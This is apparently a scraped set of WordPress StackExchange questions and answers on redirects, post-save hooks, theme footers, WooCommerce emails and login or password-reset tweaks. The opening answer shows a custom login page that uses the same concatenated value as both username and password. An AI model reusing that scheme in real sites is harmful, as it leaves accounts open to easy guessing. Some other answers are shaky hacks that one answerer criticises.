Here is what ended up working. In case this is of use to someone wishing to do something similar. We created a custom template in the child theme. The final concatenated value is used as the USERNAME and the PASSWORD. Assuming all other necessary code for a typical custom page template is utilised, I'll just post the beginning of my custom page template file: ``` <?php /** Template Name: Custom Login Page */ if ( is_user_logged_in() ) { wp_redirect( LOGIN_REDIRECT ); // LOGIN_REDIRECT is set in the config.php file. } $WP_Error = new WP_Error(); if(isset($_POST['form-action']) && $_POST['form-action']=='login') { $VALUE1 = trim($_POST['log-sname']); $VALUE1 = preg_replace("/[^A-Za-z0-9\- ']/", '', $VALUE1); $VALUE2 = $_POST['VALUE2']; $VALUE3 = $_POST['VALUE3']; $usernm = strtoupper(trim($VALUE1)).$VALUE2.$VALUE3; $passwd = strtoupper(trim($VALUE1)).$VALUE2.$VALUE3; $login_data = array(); $login_data['user_login'] = $usernm; $login_data['user_password'] = $passwd; $login_data['remember'] = false; $user_verify = wp_signon( $login_data, false ); if ( is_wp_error($user_verify) ) { $WP_Error->add('my_error', '<p align="center">We were unable to validate your user credentials. ETC ETC... error message instructions ETC</p>'); } else { wp_redirect( LOGIN_REDIRECT ); // LOGIN_REDIRECT is set in the config.php file. exit(); } } ``` That's what handles the login. After that comes the header.. ``` get_header(); ?> ``` After that is the standard PHP for the loop, etc., plus some code to display the error, if one is generated: ``` <div id="primary" <?php PARENT_THEME_SPECIFIC_content_class( 'content-area' ); ?> > // use content_class suitable to your theme scenario <main id="main" class="site-main" role="main"> <?php while ( have_posts() ) : the_post(); ?> <?php get_template_part( 'template-parts/content', 'page' ); ?> <?php endwhile; // End of the loop. ?> <?php echo $WP_Error->errors['my_error'][0]; ?> ``` , and then a form which gathers VALUE1, VALUE2, and VALUE3. The post action is set to `""`. Here's the `form` declaration: Close off with inserting the footer, and whatever else might be wanted. That's about it.
266,753
<p>hi i just modify a category link from domain.com/test/ to domain.com/demo/ all my post have now the new url domain.com/demo/post-name and now i want to redirect all 1000 links from which includes subcategoryes and post.. domain.com/test/post-name to domain.com/demo/post-name domain.com/test/post-name to domain.com/demo/post-name1 domain.com/test/post-name to domain.com/demo/post-name2 ...... domain.com/test/post-name999 to domain.com/demo/post-name999 domain.com/test/post-name1000 to domain.com/demo/post-name1000</p> <p>is an easy way to make this redirect? or i have to make it one by one?</p>
[ { "answer_id": 266761, "author": "Eclayaz", "author_id": 98878, "author_profile": "https://wordpress.stackexchange.com/users/98878", "pm_score": 0, "selected": false, "text": "<p>Try this plugin : <a href=\"https://urbangiraffe.com/plugins/redirection/\" rel=\"nofollow noreferrer\">redirection</a>. This will allow you to implement 301 redirect with a with a regular expression.</p>\n\n<p>Also refer this <a href=\"https://wordpress.stackexchange.com/questions/29147/redirection-plugin-redirect-all-urls-with-a-regular-expression\">thread</a></p>\n" }, { "answer_id": 266765, "author": "bynicolas", "author_id": 99217, "author_profile": "https://wordpress.stackexchange.com/users/99217", "pm_score": 1, "selected": false, "text": "<p><strong>Using Apache</strong></p>\n\n<p>I'd go with an <code>.htaccess</code> rule</p>\n\n<pre><code>RewriteRule ^test/(.*) http://www.example.com/demo/$1 [R=301,L]\n</code></pre>\n\n<p>so <code>http://www.example.com/test/page</code> would now go to <code>http://www.example.com/demo/page</code> and the 301 redirect would make it permanent</p>\n\n<p>make sure you put your rewrite rule <em>after</em> these rules</p>\n\n<pre><code>RewriteEngine on\nRewriteBase /\n</code></pre>\n\n<p><strong>Using Nginx</strong></p>\n\n<p>in the server block</p>\n\n<pre><code>server {\n . . .\n rewrite ^/test/(.*) http://www.example.com/demo/$1 permanent;\n . . .\n}\n</code></pre>\n" } ]
2017/05/13
[ "https://wordpress.stackexchange.com/questions/266753", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/92399/" ]
hi i just modify a category link from domain.com/test/ to domain.com/demo/ all my post have now the new url domain.com/demo/post-name and now i want to redirect all 1000 links from which includes subcategoryes and post.. domain.com/test/post-name to domain.com/demo/post-name domain.com/test/post-name to domain.com/demo/post-name1 domain.com/test/post-name to domain.com/demo/post-name2 ...... domain.com/test/post-name999 to domain.com/demo/post-name999 domain.com/test/post-name1000 to domain.com/demo/post-name1000 is an easy way to make this redirect? or i have to make it one by one?
**Using Apache** I'd go with an `.htaccess` rule ``` RewriteRule ^test/(.*) http://www.example.com/demo/$1 [R=301,L] ``` so `http://www.example.com/test/page` would now go to `http://www.example.com/demo/page` and the 301 redirect would make it permanent make sure you put your rewrite rule *after* these rules ``` RewriteEngine on RewriteBase / ``` **Using Nginx** in the server block ``` server { . . . rewrite ^/test/(.*) http://www.example.com/demo/$1 permanent; . . . } ```
266,766
<p>Here I have custom post type called <code>products</code> and it's taxonomy is <code>product_categories</code> . What I need is whenever I add the post in products , I need to call function1, when I update the post then I need to call function2 . How to do this? </p> <p>I have searched on google and found this solution:</p> <pre><code>add_action('save_post', 'save_in_filter', 10, 2); function save_in_filter($post_id, $post){ function1(); } function mynewproduct(){ myfunction(); } </code></pre> <p>But what happens is when I click on add new post then suddenly the function1() execute , but what i need is function1 execute after inserting the data not before inserting the data. </p> <p>When a post is added to products <code>(post_type=products)</code> i need to execute <code>function1()</code>. When a post is updated in products i need to execute <code>function2();</code> Why <strong>post_updated,save_post</strong> function not working properly?</p>
[ { "answer_id": 266767, "author": "Picard", "author_id": 118566, "author_profile": "https://wordpress.stackexchange.com/users/118566", "pm_score": -1, "selected": true, "text": "<p><strong>This is the original answer but it is little faulty, look below for the updated</strong></p>\n\n<p>You can use following approach.</p>\n\n<p>The <code>my_action_updated_post_meta</code> is executed after the post insert or update is done:</p>\n\n<pre><code>// define the updated_post_meta callback\nfunction my_action_updated_post_meta( $array, $int, $int ) {\n global $post;\n\n // see your updated post\n print_r($post);\n\n // make your action here...\n die('after update');\n};\n\n// add the action\nadd_action( 'updated_post_meta', 'my_action_updated_post_meta', 10, 3 );\n</code></pre>\n\n<p>Here's the function's <a href=\"https://codex.wordpress.org/Plugin_API/Action_Reference/updated_%28meta_type%29_meta\" rel=\"nofollow noreferrer\">documentation page</a>.</p>\n\n<p><strong>Update</strong></p>\n\n<p>I have notice that the above response is a little faulty - the <code>updated_post_meta</code> action (for post updates) is fired also when opening post for edition in the admin panel (since the <code>_edit_lock</code> is set then), even when no real change is made then.</p>\n\n<p>So I changed the approach.</p>\n\n<p>I use a global variable <code>$my_updated_flag</code> to know that a \"real\" change has been made. I set this variable to \"1\" by <code>post_updated</code> action. So if <code>$my_updated_flag == 1</code> we know that this is not just a <code>_edit_lock</code> change. To differentiate post insert and update action I check the <code>$post-&gt;post_status == 'draft'</code> since new posts have \"draft\" status at this stage.</p>\n\n<pre><code>$my_updated_flag = 0;\n\n// define the updated_post_meta callback\nfunction action_updated_post_meta( $meta_id, $post_id, $meta_key, $meta_value = '' ) {\n global $post, $my_updated_flag;\n\n if ($my_updated_flag == 1) {\n if ($post-&gt;post_status == 'draft') {\n die('post_inserted');\n } else {\n die('post_updated');\n }\n $my_updated_flag = 0;\n }\n};\nadd_action( 'updated_post_meta', 'action_updated_post_meta', 10, 4 );\n\nfunction action_post_updated( $array, $int, $int ) {\n global $my_updated_flag;\n $my_updated_flag = 1;\n};\nadd_action( 'post_updated', 'action_post_updated', 10, 3 );\n</code></pre>\n" }, { "answer_id": 266769, "author": "Justin", "author_id": 114945, "author_profile": "https://wordpress.stackexchange.com/users/114945", "pm_score": 1, "selected": false, "text": "<p>have a look at the <code>post_updated</code> hook for example..</p>\n\n<pre><code>// Hook to all private or public post types updating\nadd_action( 'post_updated', 'my_function' ); \n\nfunction my_function( $post_id ){\n\n $post_status = get_post_status( $post_id );\n\n switch ( $post_status ) {\n case 'draft':\n case 'auto-draft':\n case 'pending':\n case 'inherit':\n case 'trash':\n return;\n\n case 'future':\n case 'publish':\n case 'private':\n // continue\n\n }\n\n 'do something; \n}\n</code></pre>\n" }, { "answer_id": 266770, "author": "Porosh Ahammed", "author_id": 68186, "author_profile": "https://wordpress.stackexchange.com/users/68186", "pm_score": 0, "selected": false, "text": "<p>You can check these links bellow:</p>\n\n<p><a href=\"https://wordpress.stackexchange.com/a/192323/68186\">https://wordpress.stackexchange.com/a/192323/68186</a></p>\n\n<p><a href=\"https://codex.wordpress.org/Plugin_API/Action_Reference/save_post\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Plugin_API/Action_Reference/save_post</a></p>\n" } ]
2017/05/13
[ "https://wordpress.stackexchange.com/questions/266766", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/117462/" ]
Here I have custom post type called `products` and it's taxonomy is `product_categories` . What I need is whenever I add the post in products , I need to call function1, when I update the post then I need to call function2 . How to do this? I have searched on google and found this solution: ``` add_action('save_post', 'save_in_filter', 10, 2); function save_in_filter($post_id, $post){ function1(); } function mynewproduct(){ myfunction(); } ``` But what happens is when I click on add new post then suddenly the function1() execute , but what i need is function1 execute after inserting the data not before inserting the data. When a post is added to products `(post_type=products)` i need to execute `function1()`. When a post is updated in products i need to execute `function2();` Why **post\_updated,save\_post** function not working properly?
**This is the original answer but it is little faulty, look below for the updated** You can use following approach. The `my_action_updated_post_meta` is executed after the post insert or update is done: ``` // define the updated_post_meta callback function my_action_updated_post_meta( $array, $int, $int ) { global $post; // see your updated post print_r($post); // make your action here... die('after update'); }; // add the action add_action( 'updated_post_meta', 'my_action_updated_post_meta', 10, 3 ); ``` Here's the function's [documentation page](https://codex.wordpress.org/Plugin_API/Action_Reference/updated_%28meta_type%29_meta). **Update** I have notice that the above response is a little faulty - the `updated_post_meta` action (for post updates) is fired also when opening post for edition in the admin panel (since the `_edit_lock` is set then), even when no real change is made then. So I changed the approach. I use a global variable `$my_updated_flag` to know that a "real" change has been made. I set this variable to "1" by `post_updated` action. So if `$my_updated_flag == 1` we know that this is not just a `_edit_lock` change. To differentiate post insert and update action I check the `$post->post_status == 'draft'` since new posts have "draft" status at this stage. ``` $my_updated_flag = 0; // define the updated_post_meta callback function action_updated_post_meta( $meta_id, $post_id, $meta_key, $meta_value = '' ) { global $post, $my_updated_flag; if ($my_updated_flag == 1) { if ($post->post_status == 'draft') { die('post_inserted'); } else { die('post_updated'); } $my_updated_flag = 0; } }; add_action( 'updated_post_meta', 'action_updated_post_meta', 10, 4 ); function action_post_updated( $array, $int, $int ) { global $my_updated_flag; $my_updated_flag = 1; }; add_action( 'post_updated', 'action_post_updated', 10, 3 ); ```
266,783
<p>I'm using the ColorMag theme and I wanted to know how to edit the footer. What I've found is that:</p> <pre><code>&lt;?php do_action( 'colormag_footer_copyright' ); ?&gt; </code></pre> <p>Is showing the footer and I need to edit <code>customizer.php</code> for that purpose but don't know what to edit as I've seen deleting a single line is resulting drastically so I don't want to risk more by random tries.</p>
[ { "answer_id": 266784, "author": "s t", "author_id": 90682, "author_profile": "https://wordpress.stackexchange.com/users/90682", "pm_score": 0, "selected": false, "text": "<p>The action <code>colormag_footer_copyright</code> echos a copyright note. if yout want to replace it with your name, you can do it like this:</p>\n\n<pre><code>add_action( 'colormag_footer_copyright', 'my_copyright', 10, 3 );\n\nfunction my_copyright() {\n echo '&amp;copy; Ishan Mahajan '.date('Y');\n}\n</code></pre>\n\n<p>for example.</p>\n\n<p>if you want to edit the whole footer you can edit the <code>footer.php</code> in your theme folder.</p>\n" }, { "answer_id": 266795, "author": "Black Mamba", "author_id": 111131, "author_profile": "https://wordpress.stackexchange.com/users/111131", "pm_score": 2, "selected": false, "text": "<p>Login to your WordPress Dashboard.</p>\n\n<p>Go to Appearance => Themes => Editor</p>\n\n<p>Select inc/functions.php from the right side bar.</p>\n\n<p>Search for colormag_footer_copyright and delete the following code.</p>\n\n<pre><code>$wp_link = '&lt;a href=\"http://wordpress.org\" target=\"_blank\" title=\"' . esc_attr__( 'WordPress', 'colormag' ) . '\"&gt;&lt;span&gt;' . __( 'WordPress', 'colormag' ) . '&lt;/span&gt;&lt;/a&gt;';\n</code></pre>\n\n<p>From the below code, delete the code from br tag to end</p>\n\n<pre><code>$default_footer_value = sprintf( __( 'Copyright &amp;copy; %1$s %2$s. All rights reserved.', 'colormag' ), date( 'Y' ), $site_link ).'&lt;br&gt;'.sprintf( __( 'Theme: %1$s by %2$s.', 'colormag' ), 'ColorMag', $tg_link ).' '.sprintf( __( 'Powered by %s.', 'colormag' ), $wp_link );\n</code></pre>\n\n<p>After deleting the above code which is highlighted in bold, ensure that you have the following code:</p>\n\n<pre><code>$default_footer_value = sprintf( __( 'Copyright &amp;copy; %1$s %2$s. All rights reserved.', 'colormag' ), date( 'Y' ), $site_link );\n</code></pre>\n\n<p>After deleting the above code which is highlighted in bold, ensure that you have the following code:</p>\n\n<pre><code>$default_footer_value = sprintf( __( 'Copyright &amp;copy; %1$s %2$s. All rights reserved.', 'colormag' ), date( 'Y' ), $site_link );\n</code></pre>\n\n<p><a href=\"https://www.milesweb.com/forums/how-to%27s/how-to-edit-the-footer-of-colormag-wordpress-theme/\" rel=\"nofollow noreferrer\">Source</a></p>\n" }, { "answer_id": 266797, "author": "Porosh Ahammed", "author_id": 68186, "author_profile": "https://wordpress.stackexchange.com/users/68186", "pm_score": 3, "selected": true, "text": "<p>At first go to theme directory find inc>functions.php then search for \"colormag_footer_copyright\" edit this code bellow as you need:</p>\n\n<pre><code>add_action( 'colormag_footer_copyright', 'colormag_footer_copyright', 10 );\n/**\n * function to show the footer info, copyright information\n */\nif ( ! function_exists( 'colormag_footer_copyright' ) ) :\nfunction colormag_footer_copyright() {\n $site_link = '&lt;a href=\"' . esc_url( home_url( '/' ) ) . '\" title=\"' . esc_attr( get_bloginfo( 'name', 'display' ) ) . '\" &gt;&lt;span&gt;' . get_bloginfo( 'name', 'display' ) . '&lt;/span&gt;&lt;/a&gt;';\n\n $wp_link = '&lt;a href=\"https://wordpress.org\" target=\"_blank\" title=\"' . esc_attr__( 'WordPress', 'colormag' ) . '\"&gt;&lt;span&gt;' . __( 'WordPress', 'colormag' ) . '&lt;/span&gt;&lt;/a&gt;';\n\n $tg_link = '&lt;a href=\"https://themegrill.com/themes/colormag\" target=\"_blank\" title=\"'.esc_attr__( 'ThemeGrill', 'colormag' ).'\" rel=\"designer\"&gt;&lt;span&gt;'.__( 'ThemeGrill', 'colormag') .'&lt;/span&gt;&lt;/a&gt;';\n\n $default_footer_value = sprintf( __( 'Copyright &amp;copy; %1$s %2$s. All rights reserved.', 'colormag' ), date( 'Y' ), $site_link ).'&lt;br&gt;'.sprintf( __( 'Theme: %1$s by %2$s.', 'colormag' ), 'ColorMag', $tg_link ).' '.sprintf( __( 'Powered by %s.', 'colormag' ), $wp_link );\n\n $colormag_footer_copyright = '&lt;div class=\"copyright\"&gt;'.$default_footer_value.'&lt;/div&gt;';\n echo $colormag_footer_copyright;\n}\nendif;\n</code></pre>\n" }, { "answer_id": 303835, "author": "Van Nguyen", "author_id": 143832, "author_profile": "https://wordpress.stackexchange.com/users/143832", "pm_score": 0, "selected": false, "text": "<p>Just comment out the theme and wordpress lines. In the inc/function.php file like this:</p>\n\n<pre><code>/*. '&lt;br&gt;' . sprintf( __( 'Theme: %1$s by %2$s.', 'colormag' ), 'ColorMag', $tg_link ) . ' ' . sprintf( __( 'Powered by %s.', 'colormag' ), $wp_link )*/;\n</code></pre>\n\n<p>FYI For some reason I can only do this in the colormag folder but not the child folder.</p>\n\n<p>Also don't try to delete this line in footer.php</p>\n\n<pre><code>&lt;?php do_action( 'colormag_footer_copyright' ); ?&gt;\n</code></pre>\n\n<p>It will lose edit bar and other functions in customize.</p>\n" }, { "answer_id": 356405, "author": "dgpro", "author_id": 58684, "author_profile": "https://wordpress.stackexchange.com/users/58684", "pm_score": 0, "selected": false, "text": "<p>You should never edit theme's files directly because you'll loose it on the next theme update. Here is what I did in my Child Theme <code>functions.php</code> created of ColorMag 1.4.2:</p>\n\n<pre><code>// Function to add my copyright\nfunction child_colormag_footer_copyright() {\n echo '&lt;div class=\"copyright\"&gt;© My Copyright '.date('Y').'&lt;/div&gt;';\n}\n// Function hook\nadd_action( 'colormag_footer_copyright', 'child_colormag_footer_copyright', 11 );\n\n// Function to remove parent function\nfunction child_remove_parent_function() {\n remove_action( 'colormag_footer_copyright', 'colormag_footer_copyright');\n}\n// Hook removal function\nadd_action( 'wp_loaded', 'child_remove_parent_function' );\n</code></pre>\n" } ]
2017/05/13
[ "https://wordpress.stackexchange.com/questions/266783", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/111131/" ]
I'm using the ColorMag theme and I wanted to know how to edit the footer. What I've found is that: ``` <?php do_action( 'colormag_footer_copyright' ); ?> ``` Is showing the footer and I need to edit `customizer.php` for that purpose but don't know what to edit as I've seen deleting a single line is resulting drastically so I don't want to risk more by random tries.
At first go to theme directory find inc>functions.php then search for "colormag\_footer\_copyright" edit this code bellow as you need: ``` add_action( 'colormag_footer_copyright', 'colormag_footer_copyright', 10 ); /** * function to show the footer info, copyright information */ if ( ! function_exists( 'colormag_footer_copyright' ) ) : function colormag_footer_copyright() { $site_link = '<a href="' . esc_url( home_url( '/' ) ) . '" title="' . esc_attr( get_bloginfo( 'name', 'display' ) ) . '" ><span>' . get_bloginfo( 'name', 'display' ) . '</span></a>'; $wp_link = '<a href="https://wordpress.org" target="_blank" title="' . esc_attr__( 'WordPress', 'colormag' ) . '"><span>' . __( 'WordPress', 'colormag' ) . '</span></a>'; $tg_link = '<a href="https://themegrill.com/themes/colormag" target="_blank" title="'.esc_attr__( 'ThemeGrill', 'colormag' ).'" rel="designer"><span>'.__( 'ThemeGrill', 'colormag') .'</span></a>'; $default_footer_value = sprintf( __( 'Copyright &copy; %1$s %2$s. All rights reserved.', 'colormag' ), date( 'Y' ), $site_link ).'<br>'.sprintf( __( 'Theme: %1$s by %2$s.', 'colormag' ), 'ColorMag', $tg_link ).' '.sprintf( __( 'Powered by %s.', 'colormag' ), $wp_link ); $colormag_footer_copyright = '<div class="copyright">'.$default_footer_value.'</div>'; echo $colormag_footer_copyright; } endif; ```
266,803
<p>i'm developing a theme. I read <a href="https://make.wordpress.org/themes/2015/08/25/title-tag-support-now-required/" rel="nofollow noreferrer">there</a> that themes should have the support to title tags declaring it in <code>functions.php</code>. I did so, together with removing any title in <code>head.php</code>, but my index has no title.</p> <p>My functions.php has this:</p> <pre><code>add_action("after_setup_theme", "mytheme_setup"); function mytheme_setup () { load_theme_textdomain('mytheme'); add_theme_support( 'title_tag' ); add_theme_support( 'post-thumbnails' ); set_post_thumbnail_size(356, 245); } </code></pre> <p>Now header.php, very basic atm</p> <pre><code>&lt;head&gt; &lt;meta charset="utf-8"&gt; &lt;meta name="viewport" content="width=device-width"&gt; &lt;?php if ( is_singular() &amp;&amp; pings_open( get_queried_object() ) ) : ?&gt; &lt;link rel="pingback" href="&lt;?php bloginfo( 'pingback_url' ); ?&gt;"&gt; &lt;?php endif; ?&gt; &lt;link href="https://fonts.googleapis.com/css?family=Roboto" rel="stylesheet"&gt; &lt;?php wp_head(); ?&gt; &lt;/head&gt; </code></pre> <p>As final note, i should say that not even the way with <code>wp_title()</code> worked. The only way to show something is to put some <code>bloginfo()</code> thing. Any help would be appreciated.</p>
[ { "answer_id": 266813, "author": "Porosh Ahammed", "author_id": 68186, "author_profile": "https://wordpress.stackexchange.com/users/68186", "pm_score": 0, "selected": false, "text": "<p>Which version of wordpress you are using. If its older version then you need Backwards Compatibility as mentioned here:</p>\n\n<p><a href=\"https://codex.wordpress.org/Title_Tag\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Title_Tag</a></p>\n\n<p>Also make sure to switch theme again.</p>\n" }, { "answer_id": 266829, "author": "Daniele Squalo", "author_id": 119611, "author_profile": "https://wordpress.stackexchange.com/users/119611", "pm_score": 2, "selected": true, "text": "<p>I did a typo in funcions.php, typing <code>title_tag</code> instead of <code>title-tag</code>.</p>\n\n<pre><code>add_theme_support( 'title-tag' );\n</code></pre>\n" } ]
2017/05/13
[ "https://wordpress.stackexchange.com/questions/266803", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/119611/" ]
i'm developing a theme. I read [there](https://make.wordpress.org/themes/2015/08/25/title-tag-support-now-required/) that themes should have the support to title tags declaring it in `functions.php`. I did so, together with removing any title in `head.php`, but my index has no title. My functions.php has this: ``` add_action("after_setup_theme", "mytheme_setup"); function mytheme_setup () { load_theme_textdomain('mytheme'); add_theme_support( 'title_tag' ); add_theme_support( 'post-thumbnails' ); set_post_thumbnail_size(356, 245); } ``` Now header.php, very basic atm ``` <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width"> <?php if ( is_singular() && pings_open( get_queried_object() ) ) : ?> <link rel="pingback" href="<?php bloginfo( 'pingback_url' ); ?>"> <?php endif; ?> <link href="https://fonts.googleapis.com/css?family=Roboto" rel="stylesheet"> <?php wp_head(); ?> </head> ``` As final note, i should say that not even the way with `wp_title()` worked. The only way to show something is to put some `bloginfo()` thing. Any help would be appreciated.
I did a typo in funcions.php, typing `title_tag` instead of `title-tag`. ``` add_theme_support( 'title-tag' ); ```
266,808
<p>I have overridden woocommerce <em>customer-completed-order.php</em></p> <pre><code>&lt;?php if ( ! defined( 'ABSPATH' ) ) { exit; } do_action( 'woocommerce_email_header', $email_heading, $email ); ?&gt; &lt;p&gt;&lt;?php printf( __( "Your recent order has been completed.&lt;br&gt; ,'woocommerce' ) ); ?&gt;&lt;/p&gt; </code></pre> <p>How to add image to the end of the email?</p> <p>I tried</p> <pre><code>&lt;?php echo wp_get_attachment_image( 1096 ,add_image_size('logo-size', 219,98) ); ?&gt; </code></pre> <p>but only white space is displayed in the received email.</p> <pre><code>&lt;?php echo wp_get_attachment_image( 1096); ?&gt; </code></pre> <p>displays it in a cropped size.</p> <p><strong>EDIT</strong> added full <em>customer-completed-order.php</em></p> <pre><code>&lt;?php if ( ! defined( 'ABSPATH' ) ) { exit; } foreach ($order-&gt;get_items() as $item_id =&gt; $item) { $product_name = $item['name']; // product name } /** * @hooked WC_Emails::email_header() Output the email header * */ do_action( 'woocommerce_email_header', $email_heading, $email ); ?&gt; &lt;p&gt;&lt;?php printf( __( "Your recent order has been completed, 'woocommerce' ), $product_name ); ?&gt;&lt;/p&gt; </code></pre>
[ { "answer_id": 266815, "author": "hwl", "author_id": 118366, "author_profile": "https://wordpress.stackexchange.com/users/118366", "pm_score": 1, "selected": false, "text": "<p><code>wp_get_attachement_image</code> wants the second argument to be an array of width, height </p>\n\n<p>like:\narray('900', '1200').</p>\n\n<p>So in your example if attachment id is 1096, width is 219, and height is 98, it would be:</p>\n\n<pre><code>&lt;?php echo wp_get_attachment_image( 1096, array( 219, 98) ); ?&gt;\n</code></pre>\n\n<p>If you're looking for the un-cropped, full image:\nInstead of using <code>wp_get_attachment</code>, try <code>wp_get_attachment_image_src</code> and pass a size argument of \"full.\" </p>\n\n<p>This returns an array:</p>\n\n<blockquote>\n <p>(false|array) Returns an array (url, width, height, is_intermediate),\n or false, if no image is available.</p>\n</blockquote>\n\n<p>So we get the url like so:</p>\n\n<pre><code>$attachment_id = '1906';\n$image_array = wp_get_attachment_image_src( $attachment_id, 'full' );\necho '&lt;img src=\"'. $image_array[0] .'\" &gt;';\n</code></pre>\n" }, { "answer_id": 267360, "author": "rok", "author_id": 105581, "author_profile": "https://wordpress.stackexchange.com/users/105581", "pm_score": 1, "selected": true, "text": "<p>This solution works.</p>\n\n<pre><code>&lt;?php\n\n\nif ( ! defined( 'ABSPATH' ) ) {\n exit;\n}\n\nforeach ($order-&gt;get_items() as $item_id =&gt; $item) {\n $product_name = $item['name']; // product name\n}\n/**\n * @hooked WC_Emails::email_header() Output the email header\n * \n */\ndo_action( 'woocommerce_email_header', $email_heading, $email ); \n?&gt;\n\n&lt;p&gt;&lt;?php printf( __( \"Your recent order has been completed, 'woocommerce' ), $product_name ); ?&gt;&lt;/p&gt;\n\n&lt;p&gt;\n &lt;?php echo wp_get_attachment_image( 1096, array('219', '98'), \"\", array( \n 'name' =&gt; 'logo',\n 'align' =&gt; 'left', // Not supported in HTML5\n 'border' =&gt; '0', // Not supported in HTML5\n 'width' =&gt; '219',\n 'height' =&gt; '98'\n ) ); ?&gt; \n&lt;/p&gt;\n</code></pre>\n\n<p>After adding </p>\n\n<pre><code>&lt;p&gt;\n &lt;?php echo wp_get_attachment_image( 1096, array('219', '98'), \"\", array( \n 'name' =&gt; 'logo',\n 'align' =&gt; 'left', // Not supported in HTML5\n 'border' =&gt; '0', // Not supported in HTML5\n 'width' =&gt; '219',\n 'height' =&gt; '98'\n ) ); ?&gt; \n&lt;/p&gt;\n</code></pre>\n\n<p>The images are displayed in email.</p>\n" } ]
2017/05/13
[ "https://wordpress.stackexchange.com/questions/266808", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/105581/" ]
I have overridden woocommerce *customer-completed-order.php* ``` <?php if ( ! defined( 'ABSPATH' ) ) { exit; } do_action( 'woocommerce_email_header', $email_heading, $email ); ?> <p><?php printf( __( "Your recent order has been completed.<br> ,'woocommerce' ) ); ?></p> ``` How to add image to the end of the email? I tried ``` <?php echo wp_get_attachment_image( 1096 ,add_image_size('logo-size', 219,98) ); ?> ``` but only white space is displayed in the received email. ``` <?php echo wp_get_attachment_image( 1096); ?> ``` displays it in a cropped size. **EDIT** added full *customer-completed-order.php* ``` <?php if ( ! defined( 'ABSPATH' ) ) { exit; } foreach ($order->get_items() as $item_id => $item) { $product_name = $item['name']; // product name } /** * @hooked WC_Emails::email_header() Output the email header * */ do_action( 'woocommerce_email_header', $email_heading, $email ); ?> <p><?php printf( __( "Your recent order has been completed, 'woocommerce' ), $product_name ); ?></p> ```
This solution works. ``` <?php if ( ! defined( 'ABSPATH' ) ) { exit; } foreach ($order->get_items() as $item_id => $item) { $product_name = $item['name']; // product name } /** * @hooked WC_Emails::email_header() Output the email header * */ do_action( 'woocommerce_email_header', $email_heading, $email ); ?> <p><?php printf( __( "Your recent order has been completed, 'woocommerce' ), $product_name ); ?></p> <p> <?php echo wp_get_attachment_image( 1096, array('219', '98'), "", array( 'name' => 'logo', 'align' => 'left', // Not supported in HTML5 'border' => '0', // Not supported in HTML5 'width' => '219', 'height' => '98' ) ); ?> </p> ``` After adding ``` <p> <?php echo wp_get_attachment_image( 1096, array('219', '98'), "", array( 'name' => 'logo', 'align' => 'left', // Not supported in HTML5 'border' => '0', // Not supported in HTML5 'width' => '219', 'height' => '98' ) ); ?> </p> ``` The images are displayed in email.
266,812
<p>How to disable register and reset the password from WordPress admin panel?</p> <p>Please I want to do this by codes without using plugins.</p>
[ { "answer_id": 266814, "author": "Porosh Ahammed", "author_id": 68186, "author_profile": "https://wordpress.stackexchange.com/users/68186", "pm_score": 0, "selected": false, "text": "<p>put the code bellow into functions.php : </p>\n\n<pre><code>class Password_Reset_Removed\n{\n\n function __construct() \n {\n add_filter( 'show_password_fields', array( $this, 'disable' ) );\n add_filter( 'allow_password_reset', array( $this, 'disable' ) );\n add_filter( 'gettext', array( $this, 'remove' ) );\n }\n\n function disable() \n {\n if ( is_admin() ) {\n $userdata = wp_get_current_user();\n $user = new WP_User($userdata-&gt;ID);\n if ( !empty( $user-&gt;roles ) &amp;&amp; is_array( $user-&gt;roles ) &amp;&amp; $user-&gt;roles[0] == 'administrator' )\n return true;\n }\n return false;\n }\n\n function remove($text) \n {\n return str_replace( array('Lost your password?', 'Lost your password'), '', trim($text, '?') ); \n }\n}\n\n$pass_reset_removed = new Password_Reset_Removed();\n</code></pre>\n\n<p>add the following to your themes functions.php file to disable register:</p>\n\n<pre><code> add_action( 'login_head', 'hide_login_nav' );\n\nfunction hide_login_nav()\n{\n ?&gt;&lt;style&gt;#nav{display:none}&lt;/style&gt;&lt;?php\n}\n</code></pre>\n" }, { "answer_id": 266822, "author": "Frank P. Walentynowicz", "author_id": 32851, "author_profile": "https://wordpress.stackexchange.com/users/32851", "pm_score": -1, "selected": false, "text": "<p>First part, remove registration, does not require any code. Simply uncheck the box '<strong>Anyone can register</strong>' in '<strong>Settings -> General -> Membership</strong>'. </p>\n\n<p>Second part, remove password reset functionality, consists of two parts, removing \n ( hiding ) '<strong>Lost your password?</strong>' link from login form, and removing ( hiding ) '<strong>Account Management</strong>' section from user's profile page. Unfortunately, removing them, violates both, website's ( admin ) and user's security. Therefore, although technically possible, I'm not going to provide a solution for the second part.</p>\n\n<p>Third part - code asked for, definitely belongs to a plugin, as it should be themes independent. </p>\n" } ]
2017/05/13
[ "https://wordpress.stackexchange.com/questions/266812", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/117356/" ]
How to disable register and reset the password from WordPress admin panel? Please I want to do this by codes without using plugins.
put the code bellow into functions.php : ``` class Password_Reset_Removed { function __construct() { add_filter( 'show_password_fields', array( $this, 'disable' ) ); add_filter( 'allow_password_reset', array( $this, 'disable' ) ); add_filter( 'gettext', array( $this, 'remove' ) ); } function disable() { if ( is_admin() ) { $userdata = wp_get_current_user(); $user = new WP_User($userdata->ID); if ( !empty( $user->roles ) && is_array( $user->roles ) && $user->roles[0] == 'administrator' ) return true; } return false; } function remove($text) { return str_replace( array('Lost your password?', 'Lost your password'), '', trim($text, '?') ); } } $pass_reset_removed = new Password_Reset_Removed(); ``` add the following to your themes functions.php file to disable register: ``` add_action( 'login_head', 'hide_login_nav' ); function hide_login_nav() { ?><style>#nav{display:none}</style><?php } ```
266,841
